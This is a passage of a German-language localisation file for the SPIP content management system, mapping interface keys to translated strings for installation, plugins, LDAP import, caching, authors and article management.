'info_multi_rubriques' => 'Sprachauswahl für Rubriken aktivieren?',
'info_multi_secteurs' => '... nur für Rubriken der obersten Ebene?',
'info_nb_articles' => '@nb@ Artikel',
'info_nb_articles_syndiques' => '@nb@ syndizierte Artikel',
'info_nb_auteurs' => '@nb@ Autoren',
'info_nb_messages' => '@nb@ Nachrichten',
'info_nb_mots_cles' => '@nb@ Schlagworte',
'info_nb_rubriques' => '@nb@ Rubriken',
'info_nb_sites' => '@nb@ Websites',
'info_nb_visiteurs' => '@nb@ Besucher',
'info_nom' => 'Name',
'info_nom_destinataire' => 'Name des Empfängers',
'info_nom_pas_conforme' => 'HTNL-Tags sind nicht zugelassen.',
'info_nom_site' => 'Name Ihrer Website',
'info_nombre_articles' => '@nb_articles@ Artikel,',
'info_nombre_partcipants' => 'TEILNEHMER DER DISKUSSION:',
'info_nombre_rubriques' => '@nb_rubriques@ Rubriken, ',
'info_nombre_sites' => '@nb_sites@ Websites, ',
'info_non_deplacer' => 'Bitte nicht verschieben...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP kann regelmäßig die letzten Neuigkeiten der Website verschicken. (vor Kurzem erschienene Artikel und Meldungen).',
'info_non_envoi_liste_nouveautes' => 'Keine Liste der Neuigkeiten verschicken.',
'info_non_modifiable' => 'kann nicht geändert werden.',
'info_non_suppression_mot_cle' => 'ich möchte dieses Schlagwort nicht löschen.',
'info_note_numero' => 'Notiz @numero@',
'info_notes' => 'Anmerkungen', # Fußnoten bzw. #NOTES werden besser als "Anmerkungen" denn als "Notizen" bezeichnet.
'info_nouveaux_message' => 'Neue Nachrichten',
'info_nouvel_article' => 'Neuer Artikel',
'info_nouvelle_traduction' => 'Neue Übersetzung:',
'info_numero_article' => 'ARTIKEL NUMMER:',
'info_obligatoire_02' => ' (Erforderlich)',
'info_option_accepter_visiteurs' => 'Besucher dürfen sich als Leser der Website anmelden.',
'info_option_faire_suivre' => 'Forumsbeiträge an Autoren der Artikel schicken.',
'info_option_ne_pas_accepter_visiteurs' => 'Anmeldung von Lesern verhindern',
'info_options_avancees' => 'SPEZIALFUNKTIONEN',
'info_ortho_activer' => 'Rechtschreibprüfung aktivieren',
'info_ortho_desactiver' => 'Rechtschreibprüfung abschalten',
'info_ou' => 'oder ... ',
'info_page_interdite' => 'Seite gesperrt',
'info_par_nom' => 'nach Namen',
'info_par_nombre_article' => 'nach Anzahl der Artikel',
'info_par_statut' => 'nach Status',
'info_par_tri' => '’(nach @tri@)’',
'info_passe_trop_court' => 'Passwort zu kurz.',
'info_passe_trop_court_car_pluriel' => 'Das Passwort muss mindestens @nb@ Zeichen haben.',
'info_passes_identiques' => 'Die zwei Passworte stimmen nicht überein.',
'info_pense_bete_ancien' => 'Ihre alten Merkzettel',
'info_plus_cinq_car' => 'mehr als 5 Zeichen',
'info_plus_cinq_car_2' => '(mehr als 5 Zeichen)',
'info_plus_trois_car' => '(mehr als 3 Zeichen)',
'info_popularite' => 'Beliebtheit: @popularite@ ; Besuche: @visites@',
'info_popularite_4' => 'Beliebtheit: @popularite@ ; Besuche: @visites@',
'info_post_scriptum' => 'Post-Scriptum',
'info_post_scriptum_2' => 'Post-scriptum:',
'info_pour' => 'für',
'info_preview_admin' => 'Nur Administratoren können die Vorschau nutzen',
'info_preview_comite' => 'Alle Redakteure können die Vorschau nutzen',
'info_preview_desactive' => 'Vorschau deaktiviert',
'info_preview_texte' => 'Man kann sich die Website so anzeigen lassen, als ob alle Artikel veröffentlicht wären, die mindestens den Status « vorgeschlagen » haben. Wem soll diese Möglichkeit zur Verfügung stehen (Adminsitratoren, Redakteure, niemand)?',
'info_principaux_correspondants' => 'Ihre wichtigsten Korrespondezpartner',
'info_procedez_par_etape' => 'gehen Sie Schritt für Schritt vor',
'info_procedure_maj_version' => 'Sie müssen die Update-Funktion starten, um Ihre Datenbank an die neue Version von SPIP anzupassen.',
'info_proxy_ok' => 'Proxytest erfolgreich.',
'info_ps' => 'P.S.',
'info_publier' => 'veröffentlichen',
'info_publies' => 'Ihre veröffentlichten Artikel',
'info_question_accepter_visiteurs' => 'Bitte aktivieren Sie die folgende Option, wenn sich Besucher Ihrer Website als <i>Leser ohne Zugang zum Redaktionssystem</i> anmelden können.',
'info_question_inscription_nouveaux_redacteurs' => 'Möchten Sie, dass sich neue Redakteure vom öffentlichen Bereich
aus anmelden können? Wenn Sie es wollen, können sich Besucher über ein automatisch
erstelltes Formular anmelden und Artikel vorschlagen.
<div class="notice">Nach der Anmeldung erhalten die neuen Redakteure automatisch
eine E-Mail mit ihren Zugangsdaten. Manche Webhoster unterbinden den Mailversand
von ihren Webservern aus.
In diesem Fall funktioniert die automatische Anmeldung nicht.</div>',
'info_question_utilisation_moteur_recherche' => 'Wollen Sie die integrierte Suchfunktion von SPIP verwenden? (ohne Suchfunktion wird Ihr System schneller.)',
'info_question_vignettes_referer_non' => 'Keine Thumbnails der Herkunftswebsites anzeigen',
'info_qui_edite' => '@nom_auteur_modif@ hat vor @date_diff@ Minuten an diesem Objekt gearbeitet.',
'info_racine_site' => 'OBERSTE EBENE DER WEBSITE',
'info_recharger_page' => 'Bitte laden Sie diese Seite in ein paar Augenblicken erneut.',
'info_recherche_auteur_a_affiner' => 'Zu viele Fundstellen für R20;@cherche_auteur@R21; - bitte grenzen Sie die Suche ein.',
'info_recherche_auteur_ok' => 'Zu „@cherche_auteur@“ wurde mehrere Autoren gefunden:',
'info_recherche_auteur_zero' => 'Dem Kriterium “@cherche_auteur@” entspricht kein Autor.',
'info_recommencer' => 'Bitte wiederholen.',
'info_redacteur_1' => 'Redakteur',
'info_redacteur_2' => 'mit Zugang zum Redaktionssystem (<i>empfohlen</i>)',
'info_redacteurs' => 'Redakteure',
'info_redaction_en_cours' => 'IN BEARBEITUNG',
'info_redirection' => 'Umleitung',
'info_redirection_activee' => 'Die Weiterleitung ist aktiviert.',
'info_redirection_desactivee' => 'Die Weiterleitung wurde abgeschaltet.',
'info_refuses' => 'Ihre abgelehnten Artikel',
'info_reglage_ldap' => 'Optionen: <b>LDAP-Import Einstellungen</b>',
'info_renvoi_article' => '<b>Umleitung.</b> Dieser Artikel zeigt auf die Seite: ',
'info_reserve_admin' => 'Nur Administratoren können diese Seite ändern.',
'info_restreindre_rubrique' => 'Administrationsrechte auf diese Rubrik beschränken:',
'info_resultat_recherche' => 'Suchergebnisse:',
'info_rubriques' => 'Rubriken',
'info_rubriques_02' => 'Rubriken',
'info_rubriques_trouvees' => 'Rubriken gefunden',
'info_rubriques_trouvees_dans_texte' => 'Rubriken gefunden (im Text)',
'info_sans_titre' => 'Ohne Titel',
'info_selection_chemin_acces' => '<b>Wählen Sie</b> hier den Pfad zu Ihrem Verzeichnis:',
'info_signatures' => 'Unterschriften',
'info_site' => 'Website',
'info_site_2' => 'Website: ',
'info_site_min' => 'Website',
'info_site_reference_2' => 'Verlinkte Website',
'info_site_web' => 'Website:',
'info_sites' => 'Websites',
'info_sites_lies_mot' => 'Mit dieser Website verknüpfte Schlagworte',
'info_sites_proxy' => 'HTTP-Proxy verwenden',
'info_sites_trouves' => 'Gefundene Websites',
'info_sites_trouves_dans_texte' => 'Gefundene Websites (im Text)',
'info_sous_titre' => 'Untertitel:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Status des Autors:',
'info_statut_auteur_2' => 'Ich bin',
'info_statut_auteur_a_confirmer' => 'Anmeldung bestätigen',
'info_statut_auteur_autre' => 'Anderer Status:',
'info_statut_efface' => 'Gelöscht',
'info_statut_redacteur' => 'Redakteur',
'info_statut_utilisateurs_1' => 'Vorgegebener Status der importierten Benutzer',
'info_statut_utilisateurs_2' => 'Wählen Sie den Status, der Personen im LDAP-Verzeichnis zugeordnet wird, wenn sie sich zum ersten Mal anmelden. Sie können diesen Wert später für jeden Autor individuell einstellen.',
'info_suivi_activite' => 'Unterstützung der Redaktionsabläufe',
'info_surtitre' => 'Einleitender Titel:',
'info_syndication_integrale_1' => 'Ihre Website biete Backend-Dateien zur Syndikation an (siehe « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Möchten sie den gesamten Text der Artikel überragen oder nur eine Zusammenfassung von ein paar hundert Zeichen?',
'info_table_prefix' => 'Sie können den ersten Teil (das Prefix) der Datentabellen ändern. Das ist unerlässlich, wenn sie mehrere Websites in der selben Datenbank speichern möchten. Das Prefix besteht aus kleinen Buchstaben ohne Akzente, Sonder- oder Leerzeichen',
'info_taille_maximale_images' => 'SPIP wird die maximale Größe der Bilder (in Millionen Pixel) testen, die es bearbeiten kann.<br /> Größere Bilder werden nicht verkleinert.',
'info_taille_maximale_vignette' => 'Maximale Grösse der Icons des Systems:',
'info_terminer_installation' => 'Sie können jetzt die Standardinstallation abschliessen.',
'info_texte' => 'Text',
'info_texte_explicatif' => 'Beschreibung',
'info_texte_long' => '(Das ist ein langer Text. Er wird in mehreren Teilen angezeigt, die nach der Veröffentlichung zusammen gefügt werden.)',
'info_texte_message' => 'Text Ihrer Nachricht',
'info_texte_message_02' => 'Text Ihrer Nachricht',
'info_titre' => 'Titel:',
'info_total' => 'Gesamt: ',
'info_tous_articles_en_redaction' => 'Alle Artikel in Bearbeitung',
'info_tous_articles_presents' => 'Alle veröffentlichten Artikel dieser Rubrik',
'info_tous_articles_refuses' => 'Alle abgelehnten Artikel',
'info_tous_les' => 'alle',
'info_tous_redacteurs' => 'Ankündigung für alle Redakteure',
'info_tout_site' => 'Ganze Website',
'info_tout_site2' => 'Der Artikel wurde nicht in diese Sprache übersetzt.',
'info_tout_site3' => 'Der Artikel wurde in diese Sprache übersetzt, aber der Originalartikel wurde erneut verändert. Die Übersetzung muss überarbeitet werden.',
'info_tout_site4' => 'Der Artikel wurde in diese Sprache übersetzt und die Übersetzung ist aktuel.',
'info_tout_site5' => 'Originalartikel.',
'info_tout_site6' => '<b>Achtung:</b> Nur die Originalartikel werden aufgelistet..
Die Übersetzungen entsprechen dem Original,
in einer Farbe, die den Status anzeigt :',
'info_traductions' => 'Übersetzungen',
'info_travail_colaboratif' => 'Gemeinsame Arbeit an den Artikeln',
'info_un_article' => ' ein Artikel, ',
'info_un_site' => ' eine Website, ',
'info_une_rubrique' => ' eine Rubrik, ',
'info_une_rubrique_02' => '1 Rubrik',
'info_url' => 'URL:',
'info_url_proxy' => 'URL des Proxy',
'info_url_site' => 'URL DER WEBSITE:',
'info_url_test_proxy' => 'Test-URL',
'info_urlref' => 'Hyperlink:',
'info_utilisation_spip' => 'Sie können SPIP jetzt verwenden ...',
'info_visites_par_mois' => 'Anzeige pro Monat:',
'info_visiteur_1' => 'Besucher',
'info_visiteur_2' => 'des öffentlichen Bereichs',
'info_visiteurs' => 'Besucher',
'info_visiteurs_02' => 'Besucher des öffentlichen Bereichs',
'info_webmestre_forces' => 'Die Webmaster sind in der Datei <tt>@file_options@</tt> konfiguriert.',
'install_adresse_base_hebergeur' => 'Adresse der vom Provider zugewiesenen Datenbank',
'install_base_ok' => 'Die Datenbank @base@ wurde erkannt',
'install_connect_ok' => 'Die neue Datenbank wurde unter dem Namen @connect@ deklariert.',
'install_echec_annonce' => 'Die Installation wird wahrscheinlich fehlschlagen oder eine nicht funktionierende Site ergeben.',
'install_extension_mbstring' => 'SPIP funktioniert nicht mit:',
'install_extension_php_obligatoire' => 'SPIP benötigt die Dateierweiterung php:',
'install_login_base_hebergeur' => 'Vom Provider zugeteiltes Login',
'install_nom_base_hebergeur' => 'Name der vom Provider zugewiesenen Datenbank:',
'install_pas_table' => 'Datenbank zur Zeit ohne Tabellen',
'install_pass_base_hebergeur' => 'Vom Provider zugeteiltes Passwort',
'install_php_version' => 'Die PHP-Version @version@ ist zu alt. (Mindestens erforderlich = @minimum@)',
'install_select_langue' => 'Wählen Sie eine Sprache aus und klicken Sie auf «Weiter», um die Installation zu starten.',
'install_select_type_db' => 'Geben Sie den Typ der Datenbank an:',
'install_select_type_mysql' => 'MySQL',
'install_select_type_mysqli' => 'MySQLi',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Vom Provider bereitgestellter Datenbankserver',
'install_table_prefix_hebergeur' => 'Prefix der vom Provider zugeteilten Tabelle',
'install_tables_base' => 'Tabellen der Datenbank',
'install_types_db_connus' => 'SPIP beherrscht <b>MySQL</b> (am weitesten verbreitet) und <b>SQLite</b>.', # Geht PostGreSQL jetzt nicht mehr?
'install_types_db_connus_avertissement' => '<b>PostgreSQL</b> wird testweise unterstützt.',
'instituer_erreur_statut_a_change' => 'Der Status wurde bereits geändert.',
'instituer_erreur_statut_non_autorise' => 'Sie dürfen diesen Status nicht auswählen.',
'intem_redacteur' => 'Redakteur',
'intitule_licence' => 'Lizenz',
'item_accepter_inscriptions' => 'Anmeldungen erlauben',
'item_activer_messages_avertissement' => 'Aktuelle Benachrichtigungen einschalten',
'item_administrateur_2' => 'Administrator',
'item_afficher_calendrier' => 'Im Kalender anzeigen',
'item_autoriser_documents_joints' => 'Dokumente zu Artikeln erlauben',
'item_autoriser_documents_joints_rubriques' => 'Dokumente zu Rubriken erlauben',
'item_autoriser_syndication_integrale' => 'Vollständige Artikel im Feed übertragen',
'item_choix_administrateurs' => 'Administratoren',
'item_choix_generation_miniature' => 'Vorschaubilder automatisch generieren.',
'item_choix_non_generation_miniature' => 'Keine Vorschaubilder generieren.',
'item_choix_redacteurs' => 'Redakteure',
'item_choix_visiteurs' => 'Besucher im öffentlichen Bereich',
'item_creer_fichiers_authent' => '.htpasswd-Dateien anlegen',
'item_limiter_recherche' => 'Suche auf eigene Website begrenzen',
'item_login' => 'Login',
'item_messagerie_agenda' => 'Nachrichtenfunktion des Kalenders aktivieren',
'item_mots_cles_association_articles' => 'Artikeln zuordnen',
'item_mots_cles_association_rubriques' => 'Rubriken zuordnen',
'item_mots_cles_association_sites' => 'syndizierten Websites zuordnen.',
'item_non' => 'Nein',
'item_non_accepter_inscriptions' => 'Anmeldungen verhindern',
'item_non_activer_messages_avertissement' => 'Keine aktuellen Benachrichtigungen',
'item_non_afficher_calendrier' => 'Nicht im Kalender anzeigen',
'item_non_autoriser_documents_joints' => 'Zuordnung von Dokumenten zu Artikeln abschalten',
'item_non_autoriser_documents_joints_rubriques' => 'Verwendung von Dokumenten in Rubriken abschalten',
'item_non_autoriser_syndication_integrale' => 'Nur Zusammenfassung übertragen',
'item_non_compresseur' => 'Kompression abschalten',
'item_non_creer_fichiers_authent' => 'Diese Dateien nicht anlegen',
'item_non_gerer_statistiques' => 'Keine Statistiken anlegen',
'item_non_limiter_recherche' => 'Inhalt verlinkter Websites in die Suchmaschine aufnehmen',
'item_non_messagerie_agenda' => 'Nachrichtenfunktion des Kalenders abschalten',
'item_non_publier_articles' => 'Artikel nicht vor dem eingestellten Datum veröffentlichen.',
'item_non_utiliser_moteur_recherche' => 'Suchmaschine nicht verwenden.',
'item_nouvel_auteur' => 'Neuer Autor',
'item_nouvelle_rubrique' => 'Neue Rubrik',
'item_oui' => 'Ja',
'item_publier_articles' => 'Sofort veröffentlichen, egal welches Datum ein Artikel trägt. ',
'item_reponse_article' => 'Antwort auf Artikel',
'item_utiliser_moteur_recherche' => 'Suchmaschine verwenden',
'item_version_html_max_html4' => 'Im öffentlichen bereich nur HTML4 verwenden',
'item_version_html_max_html5' => 'HTML5 erlauben',
'item_visiteur' => 'Besucher',
// J
'jour_non_connu_nc' => 'unbekannt',
// L
'label_bando_outils' => 'Werkzeugleiste',
'label_bando_outils_afficher' => 'Werkzeuge anzeigen',
'label_bando_outils_masquer' => 'Werkzeuge ausblenden',
'label_choix_langue' => 'Ihre Sprache wählen',
'label_nom_fichier_connect' => 'Geben Sie den für diesen Server verwendeten Namen an.',
'label_slogan_site' => 'Slogan der Website',
'label_taille_ecran' => 'Bildschirmbreite',
'label_texte_et_icones_navigation' => 'Navigationsmenü',
'label_texte_et_icones_page' => 'Auf der Seite anzeigen',
'ldap_correspondance' => 'Vererbung von Feld @champ@',
'ldap_correspondance_1' => 'Vererbung des LDAP Felds',
'ldap_correspondance_2' => 'Geben sie bitte für jedes der folgenden SPIP-Felder das entsprechende LDAP-Feld an. Leere Felder werden nicht genutzt, LDAP-Felder mit Leerzeichen oder Kommata trennen, um mehrere zu probieren. ',
'lien_ajout_destinataire' => 'Empfänger hinzufügen',
'lien_ajouter_auteur' => 'Autor hinzufügen',
'lien_ajouter_participant' => 'Teilnehmer hinzufügen',
'lien_ajouter_une_rubrique' => 'Diese Rubrik hinzufügen',
'lien_email' => 'E-Mail',
'lien_nom_site' => 'NAME DER WEBSITE:',
'lien_retirer_auteur' => 'Autor entfernen',
'lien_retirer_rubrique' => 'Rubrik entfernen',
'lien_retirer_tous_auteurs' => 'Alle Autoren entfernen',
'lien_retirer_toutes_rubriques' => 'Alle Rubriken entfernen ',
'lien_retrait_particpant' => 'Teilnehmer entfernen',
'lien_site' => 'Website',
'lien_supprimer_rubrique' => 'Rubrik löschen',
'lien_tout_deplier' => 'Alle anzeigen',
'lien_tout_replier' => 'Alle ausblenden',
'lien_tout_supprimer' => 'Alles löschen',
'lien_trier_nom' => 'Nach Namen sortieren',
'lien_trier_nombre_articles' => 'Nach Zahl der Artikel sortieren',
'lien_trier_statut' => 'Nach Status sortieren',
'lien_voir_en_ligne' => 'ONLINE ANZEIGEN:',
'logo_article' => 'Artikel-Logo',
'logo_auteur' => 'Autoren-Logo',
'logo_rubrique' => 'Rubrik-Logo',
'logo_site' => 'Website-Logo',
'logo_standard_rubrique' => 'Standardlogo für Rubriken',
'logo_survol' => 'Mouseover-Logo',
// M
'menu_aide_installation_choix_base' => 'Datenbank auswählen',
'module_fichier_langue' => 'Sprachdatei',
'module_raccourci' => 'Abkürzung',
'module_texte_affiche' => 'angezeigter Text',
'module_texte_explicatif' => 'Sie können die folgenden Abkürzungen in den HTML-Vorlagen Ihrer Website verwenden. Sie werden automatisch in den Sprachen angezeigt, für die eine Sprachdatei existiert.',
'module_texte_traduction' => 'Die Sprachdatei für « @module@ » liegt vor auf ',
'mois_non_connu' => 'unbekannt',
// N
'nouvelle_version_spip' => 'SPIP Version @version@ ist verfügbar.',
// O
'onglet_contenu' => 'Inhalt',
'onglet_declarer_une_autre_base' => 'Weitere Datenbank deklarieren',
'onglet_discuter' => 'Diskussionen',
'onglet_documents' => 'Dokumente',
'onglet_interactivite' => 'Interaktivität',
'onglet_proprietes' => 'Eigenschaften',
'onglet_repartition_actuelle' => 'zur Zeit',
'onglet_sous_rubriques' => 'Unterrubriken',
// P
'page_pas_proxy' => 'Diese Seite darf nicht durch den Proxy übertragen werden.',
'pas_de_proxy_pour' => 'Falls erforderlich, könne Sie die Rechner und Domainen angeben, die nicht über den Proxy angesprochen werden (z.B. @exemple@)',
'plugin_charge_paquet' => 'Paket @name@ wird geladen',
'plugin_charger' => 'Übertragen',
'plugin_erreur_charger' => 'Fehler: @zip@ kann nicht geladen werden',
'plugin_erreur_droit1' => 'In das Verzeichnis <code>@dest@</code> kann nicht geschrieben werden.',
'plugin_erreur_droit2' => 'Bitte überprüfen Sie die Schreibrechte für dieses Verzeichnis oder legen Sie es an, falls es noch nicht existiert, oder installieren Sie die Dateien per FTP.',
'plugin_erreur_zip' => 'Pclzip fehlgeschlagen: Fehler @status@',
'plugin_etat_developpement' => 'In Entwicklung',
'plugin_etat_experimental' => 'Experimentell',
'plugin_etat_stable' => 'Stabil',
'plugin_etat_test' => 'Im Test',
'plugin_impossible_activer' => 'Das Plugin @plugin@ kann nicht aktiviert werden.',
'plugin_info_automatique1' => 'Wenn Sie die automatische Installation von Plugins nutzen möchten, führen Sie bitte folgende Schritte aus:',
'plugin_info_automatique1_lib' => 'Wenn diese Bibliothek automatisch installiert werden soll, führen sie bitte diese Schritte aus:',
'plugin_info_automatique2' => 'Anlegen des Verzeichnis <code>@rep@</code> ;',
'plugin_info_automatique3' => 'überprüfen, ob der Server in das Verzeichnis schreiben kann.',
'plugin_info_automatique_creer' => 'im Wurzelverzeichnis der Website.',
'plugin_info_automatique_exemples' => 'Beispiele:',
'plugin_info_automatique_ftp' => 'Sie können Plugins per FTP in dem Vezeichnis <tt>@rep@</tt> installieren',
'plugin_info_automatique_lib' => 'Manche Plugins benötigen das Verzeichnis <code>lib/</code>, um Dateien downloaden zu können, das im Wurzelverzeichnis der Website angelegt werden muss.',
'plugin_info_automatique_liste' => 'Ihre Plugin-Listen:',
'plugin_info_automatique_liste_officielle' => 'Die offiziellen Plugins',
'plugin_info_automatique_liste_update' => 'Listen aktualisieren',
'plugin_info_automatique_ou' => 'oder...',
'plugin_info_automatique_select' => 'Wählen Sie ein Plugin aus. SPIP wird es herunterladen und im Verzeichnis <code>@rep@</code> installieren. Falls das Plugin bereits installiert ist, wird es auf den neuesten Stand gebracht.',
'plugin_info_credit' => 'Beteiligte',
'plugin_info_erreur_xml' => 'Die Deklaration dieses Plugins ist nicht korrekt.',
'plugin_info_install_ok' => 'Installation war erfolgreich.',
'plugin_info_necessite' => 'Erfordert:',
'plugin_info_non_compatible_spip' => 'Dieses Plugin ist nicht mit SPIP kompatibel.',
'plugin_info_plugins_dist_1' => 'Diese Erweiterungen liegen im Verzeichnis @plugins_dist@ und werden dort aktiviert.',
'plugin_info_plugins_dist_2' => 'Man kann sie nicht deaktivieren.',
'plugin_info_telecharger' => 'herunterladen von @url@ und in @rep@ installieren',
'plugin_info_upgrade_ok' => 'Upgrade erfolgreich',
'plugin_librairies_installees' => 'Installierte Bibliotheken',
'plugin_necessite_lib' => 'Dieses Plugin benötigt die Bibliothek @lib@',
'plugin_necessite_plugin' => 'Benötigt mindestens Version @version@ des Plugin @plugin@.',
'plugin_necessite_plugin_sans_version' => 'Benötigt das Plugin @plugin@',
'plugin_necessite_spip' => 'Benötigt mindestens Version @version@ von SPIP.',
'plugin_source' => 'Quelle: ',
'plugin_titre_automatique' => 'Automatische Installation',
'plugin_titre_automatique_ajouter' => 'Plugins hinzufügen',
'plugin_titre_installation' => 'Installation des Plugins @plugin@',
'plugin_titre_modifier' => 'Meine Plugins',
'plugin_zip_active' => 'Weiter zum Aktivieren',
'plugin_zip_adresse' => 'Geben Sie hier die Adresse einer ZIP-Datei, die das Plugin enthält, oder die Adresse einer Plugin-Liste an.',
'plugin_zip_adresse_champ' => 'Adresse des Plugins oder der Liste ',
'plugin_zip_content' => 'Enthält die folgenden Dateien (@taille@),<br />die im Verzeichnis <code>@rep@</code> installiert werden können.',
'plugin_zip_installe_finie' => 'Die Datei @zip@ wurde entpackt und installiert.',
'plugin_zip_installe_rep_finie' => 'Die Datei @zip@ wurde entpackt und in das Verzeichnis @rep@ installiert.',
'plugin_zip_installer' => 'Sie können es jetzt installieren.',
'plugin_zip_telecharge' => 'Die Datei @zip@ wurde heruntergeladen',
'plugins_actif_aucun' => 'Kein aktives Plugin.',
'plugins_actif_un' => 'Ein aktives Plugin.',
'plugins_actifs' => '@count@ aktive Plugins.',
'plugins_actifs_liste' => 'Aktiv',
'plugins_compte' => '@count@ Plugins',
'plugins_disponible_un' => 'Ein Plugin verfügbar.',
'plugins_disponibles' => '@count@ verfügbare Plugins.',
'plugins_erreur' => 'Fehler in den Plugins: @plugins@',
'plugins_liste' => 'Installierte Plugins',
'plugins_liste_dist' => 'Gesicherte Plugins', # Das hat jetzt aber mit plugins_liste_dist nichts mehr zu tun.
'plugins_recents' => 'Neueste Plugins.',
'plugins_tous_liste' => 'Alle',
'plugins_vue_hierarchie' => 'Hierarchie',
'plugins_vue_liste' => 'Liste',
'protocole_ldap' => 'Version des Protokolls:',
// Q
'queue_executer_maintenant' => 'Jetzt ausführen',
'queue_info_purger' => 'Sie können alle anstehenden Jobs löschen und so die Liste der regelmäßigen Jobs neu initialisieren.',
'queue_nb_jobs_in_queue' => '@nb@ Jobs in der Warteschlange',
'queue_next_job_in_nb_sec' => 'Nächster Job in @nb@ s',
'queue_no_job_in_queue' => 'Keine Aufgaben in der Warteschlange',
'queue_one_job_in_queue' => '1 Job in der Warteschlange',
'queue_purger_queue' => 'Jobliste löschen',
'queue_titre' => 'Jobliste',
// R
'repertoire_plugins' => 'Verzeichnis:',
// S
'sans_heure' => 'Ohne Zeit',
'statut_admin_restreint' => 'Rubrik-Admin',
'statut_webmestre' => 'Webmaster',
// T
'tache_cron_asap' => 'Cronjob @function@ (unverzüglich)',
'tache_cron_secondes' => 'Cronjob @function@ (alle @nb@ Sekunden)',
'taille_cache_image' => 'Dei von SPIP automatisch berechneten Grafiken (Icons für Dokumente, als Grafiken gespeicherte Titel, mathematische Ausdrücke im Format TeX...) belegen insgesamt @taille@ im Verzeichnis @dir@.',
'taille_cache_infinie' => 'Die Grösse des <code>CACHE/</code> dieser Website wird nicht begrenzt.',
'taille_cache_maxi' => 'SPIP versucht die Grösse des <code>CACHE/</code> der Website auf ca. <b>@octets@</b> Byte zu begrenzen.',
'taille_cache_moins_de' => 'Die Größe des Caches beträgt mindestens @octets@.',
'taille_cache_octets' => 'Aktuelle Grösse des Cache: @octets@ Byte',
'taille_cache_vide' => 'Der Cache ist leer.',
'taille_repertoire_cache' => 'Grösse des Cache-Verzeichnis',
'text_article_propose_publication' => 'Dieser Artikel ist zur Veröffentlichung vorgeschlagen.',
'texte_acces_ldap_anonyme_1' => 'Manche LDAP-Server erlauben keinen anonymen Zugriff. In diesem Fall muss man Zugangsdaten für die erste Anmeldung eingeben, um Informationen im Verzeichnis suchen zu können. Meistens kann man hingegen die folgenden Felder frei lassen.',
'texte_admin_effacer_01' => 'Dieser Befehl löscht den <i>gesamten</i> Inhalt der Datenbank mit <i>allen</i> Redakteuren und Administratoren. Nach der Ausführung dieses Befehls müssen Sie SPIP neu installieren und einen ersten Administrator anlegen.',
'texte_adresse_annuaire_1' => '(Wenn Ihr Verzeichnis auf dem selben Rechner installiert ist wie diese Website, müssen Sie wahrscheinlich „localhost“ angeben.)',
'texte_ajout_auteur' => 'Folgender Autor ist diesem Artikel zugeordnet worden:',
'texte_annuaire_ldap_1' => 'Wenn Sie Zugang zu einem LDAP-Verzeichnis haben, können Sie es verwenden, um Benutzer automatisch nach SPIP zu importieren.',
'texte_article_statut' => 'Dieser Artikel ist:',
'texte_article_virtuel' => 'Virtueller Artikel',
'texte_article_virtuel_reference' => '<b>Virtueller Artikel:</b> Dieser Artikel ist Teil Ihrer Website, leitet Besucher aber zu einer anderen URL um. Sie können die Umleitung abschalten, indem Sie den URL oben löschen.',
'texte_aucun_resultat_auteur' => 'Kein Ergebnis für “@cherche_auteur@”',
'texte_auteur_messagerie' => 'Die Website kann Ihnen eine Liste aktuell eingelogter Redakteure anzeigen, so dass Sie sofort miteinander in Kontakt treten können (Wenn das Nachrichtensystem abgeschaltet ist, gibt es auch keine Liste angemeldeter Redakteure). Sie haben die Möglichkeit, nicht in diese Liste aufgenommen zu werden (damit sind Sie für andere Benutzer "unsichtbar").',
'texte_auteur_messagerie_1' => 'Diese Webbsite ermöglicht den Austausch interner Nachrichten und das Anlegen von Foren für Diskussionen zwischen Teilnehmern der Site. Sie können Ihre Teilnahme daran abschalten.',
'texte_auteurs' => 'AUTOREN',
'texte_choix_base_1' => 'Wählen Sie die Datenbank:',
'texte_choix_base_2' => 'Der SQL-Server enthält mehrere Datenbanken.',
'texte_choix_base_3' => '<b>Wählen</b> Sie die von Ihrem Webhoster für Sie angelegte aus:',
'texte_choix_table_prefix' => 'Prefix der Tabellen:',
'texte_commande_vider_tables_indexation' => 'Verwenden Sie diese Funktion, um die Tabellen der integrierten Suchmaschine zu löschen. Damit sparen Sie Speicherplatz.',
'texte_compatibilite_html' => 'Sie können SPIP so einstellen, daß die öffentlichen Seiten in <i>HTML4</i> erstellt werden, oder in <i>HTML5</i> mit seinen erweiterten Leistungsmerkmalen.',
'texte_compatibilite_html_attention' => 'Die Aktivierung von <i>HTML5</i> ist völlig ungefährlich, nur müssen ihre Seiten dann mit der folgenden Zeile beginnen, um der HTML-Norm zu entsprechen: <code><!DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(kann komprimiert oder unkomprimiert sein)',
'texte_compte_element' => '@count@ Element',
'texte_compte_elements' => '@count@ Elemente',
'texte_conflit_edition_correction' => 'Bitte überprüfen sie hier die Unterschiede zwischen zwei Versionen des Textes. Sie können Ihre Änderungen kopieren und neu eingeben.',
'texte_connexion_mysql' => 'Sie erhalten die erforderlichen SQL-Zugangsdaten von Ihrem Provider: Name des Datenbankservers und persönliche Zugangsdaten.',
'texte_contenu_article' => '(Zusammenfassung des Artikels in wenigen Worten.)',
'texte_contenu_articles' => 'Ja nach Vorlage, die Sie für Ihre Website verwenden, können Sie Elemente von Artikeln aktivieren oder abschalten. Bitte bestimmen Sie mit dieser Liste, welche Elemente verfügbar sein sollen.',
'texte_crash_base' => 'Wenn Ihre Datenbank abgestürzt ist, können Sie eine automatische Reparatur versuchen.',
'texte_creer_rubrique' => 'Bevor Sie Artikel schreiben können,<br /> müssen Sie eine Rubrik anlegen.',
'texte_date_creation_article' => 'ARTIKEL ANGELEGT AM:',
'texte_date_creation_objet' => 'Erstellungsdatum:', # on ajoute le ":"
'texte_date_publication_anterieure' => 'DATUM EINER FRÜHEREN BEARBEITUNG',
'texte_date_publication_anterieure_nonaffichee' => 'Kein Datum einer früheren Bearbeitung anzeigen.',
'texte_date_publication_article' => 'ONLINE VERÖFFENTLICHT AM:',
'texte_date_publication_objet' => 'Veröffentlichungsdatum:',
'texte_descriptif_petition' => 'Beschreibung der Petition',
'texte_descriptif_rapide' => 'Kurzbeschreibung',
'texte_effacer_base' => 'SPIP-Datenbank löschen',
'texte_effacer_donnees_indexation' => 'Indexe löschen',
'texte_effacer_statistiques' => 'Statistiken löschen',
